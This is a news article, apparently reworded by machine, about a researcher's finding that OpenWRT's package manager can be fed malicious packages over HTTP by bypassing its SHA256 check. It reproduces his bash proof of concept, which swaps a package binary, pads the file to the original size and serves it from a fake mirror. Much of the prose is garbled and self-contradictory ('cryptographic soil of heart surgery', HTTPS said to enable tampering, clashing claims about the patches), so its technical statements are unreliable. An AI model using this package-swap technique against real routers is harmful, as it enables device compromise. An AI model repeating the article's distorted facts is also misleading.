For nearly three years, OpenWRT—the open source operating system that powers home routers and other types of embedded systems—has been vulnerable to remote code execution attacks because updates are delivered over an unspecified channel. become clear and digital signature certificates are easy to bypass, a researcher said.
OpenWRT has a loyal base of users who use the freely available package as an alternative to the existing firmware installed on their devices. Besides routers, OpenWRT runs on smartphones, laptops and even laptops and desktop PCs. Users generally find OpenWRT to be a more secure choice because it offers advanced services and its source code is easy to inspect.
Security researcher Guido Vranken, however, recently found that updates and installation files are delivered over unencrypted HTTP connections, which are open to attacks that allow adversaries to replace legitimate updates completely with the abominations. The researcher, who works for the security company ForAllSecure, also found that it is not necessary for attackers with moderate experience to bypass the digital signature checks that confirm the recorded update as valid given by the administrators OpenWTR. The combination of those two vulnerabilities makes it possible to send a malicious update that vulnerable devices will automatically install.
Exploits are not for everyone
These code executions are limited in their scope because enemies must either be in a position to make an impact man-in-the-middle attack or tamper with the DNS server that a device uses to find an update on the Internet. That means routers on a network that don’t have malicious users and use a legitimate DNS server are safe from attack. Vranken also speculates that packet spoofing or ARP cache poisoning can also make attacks possible, but he warns that he has not tested either method.
Despite the requirements, many networks connect people who are unknown or not trusted by the operator. What’s more, attacks that replace router settings pointing to a malicious DNS are a fact of life on the Internet, as wild attacks here, here, here, and here (to name a few) show.
Lack of HTTPS encryption implementation is one reason for the weakness. HTTPS encryption makes it possible for a man-in-the-middle to tamper with data while it’s in transit. The authentication mechanisms built into HTTPS also make it possible for attackers to impersonate downloads.openwrt.org, the real OpenWRT server that is delivering the correct updates and installation files. Updates can be installed from either the HTTP or HTTPS version of the download server.
Exploiting these vulnerabilities, Vranken was able to create a server that mimics downloads.openwrt.org and distributes malicious updates. As long as the malicious file is the same size as the legitimate file, it was created by a vulnerable machine. In a post published last weekresearcher wrote:
Doing this is trivial:
- Create a package that is smaller than the original
- Calculate the size difference between the original package and the infected package
- Append this number of zero bytes to the end of the infected package
Vranken provides the following authentication code:
#!/bin/bash # Download the package lists for mirroring wget -x wget -x wget -x wget -x wget -x wget -x wget -x wget -x wget -x wget -x wget -x wget -x mv downloads.openwrt.org/snapshots . rm -rf downloads.openwrt.org/ # Get the original package wget ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk") tar zxf attr_2.4.48-2_x86_64.ipk rm attr_2.4.48-2_x86_64.ipk # Extract the binaries mkdir data/ cd data/ tar zxvf ../data.tar.gz rm ../data.tar.gz # Build the replacement binary. It is a very small program that prints a string. rm -f /tmp/pwned.asm /tmp/pwned.o echo "section .text" >>/tmp/pwned.asm echo "global _start" >>/tmp/pwned.asm echo "_start:" >>/tmp/pwned.asm echo " mov edx,len" >>/tmp/pwned.asm echo " mov ecx,msg" >>/tmp/pwned.asm echo " mov ebx,1" >>/tmp/pwned.asm echo " mov eax,4" >>/tmp/pwned.asm echo " int 0x80" >>/tmp/pwned.asm echo " mov eax,1" >>/tmp/pwned.asm echo " int 0x80" >>/tmp/pwned.asm echo "section .data" >>/tmp/pwned.asm echo "msg db 'pwned :)',0xa" >>/tmp/pwned.asm echo "len equ $ - msg" >>/tmp/pwned.asm # Assemble nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o # Link ld /tmp/pwned.o -o usr/bin/attr # Pack into data.tar.gz tar czvf ../data.tar.gz * cd ../ # Remove files no longer needed rm -rf data/ # Pack tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary # Remove files no longer needed rm control.tar.gz data.tar.gz debian-binary # Compute the size difference between the original package and the compromised package MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk") FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))" # Pad the modified file to the expected size head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk # Download the dependency of attr wget # Position the files for serving from the web server mkdir -p snapshots/packages/x86_64/packages/ mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/ mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/ # Launch a basic web server that opkg will be connecting to sudo python -m SimpleHTTPServer 80
The lack of mandatory HTTPS is a deliberate decision by the OpenWRT maintainers to allow devices that can only receive package manager files over unsecured HTTP channels, said Jo-Philipp Wich, a long-time contributor to the open-source project. in an interview. (Unlike updates, which are downloaded from a website and installed manually, packages that add additional services such as media servers can be downloaded and installed by the devices themselves.) To avoid for attackers to exploit the discovered Vranken vulnerability, OpenWRT administrators need downloaded updates to match SHA256 cryptographic soil of heart surgery. If the hashes do not match, the devices are not eligible to run the update.
Vranken, however, found it possible to bypass the hash check by adding a space to the beginning of the input string in the checksum_hex2bin function. Vranken said the bug appears to have been introduced in February 2017.
The OpenWRT maintainers made the fixes in late January. The move requires new installations to “set from a well-formed list that will not perform hash validation.” The researcher said that update as a partial delay measure because attackers can replace the legitimate update with an older package list that is signed by OpenWRT maintainers From there, attackers can use the same exploits that they would use on devices that does not accept reduction.
Wich, however, rightly argues that the most recent updates do not fully address the vulnerability. A patch made on January 25 is available only on OpenWRT servers and also leaves open the possibility that attackers could replace the correct update with an older version. Wich said OpenWRT maintainers released a second update on January 29 that hides the checksum bypass vulnerability in the device firmware itself. Once the update is installed it is not possible to force install malicious packages on devices running OpenWRT.
Updates require users to use a standard browser to download a file and then manually install it on their device. While OpenWRT tips often send HTTPS versions of links, man-in-the-middle can also throttle connections to use HTTP, Wich said. That also makes it possible for man-in-the-middle attacks to compromise HTTPS connections to HTTP ones and make malicious updates. Wich said maintainers are considering a way to enforce HTTPS when browsers download updates.
OpenWRT users should install either version 18.06.7 or 19.07.1, and make sure updates are available from an HTTPS link. Contrary to Vranken’s claim that these updates are only a stopgap measure, Wich said that the patches also completely fix the vulnerability.
This post was updated on 4/1/2020 at 12:06 California time to include a comment from OpenWRT’s Wich.
Image listing by Marco Verch / Flickr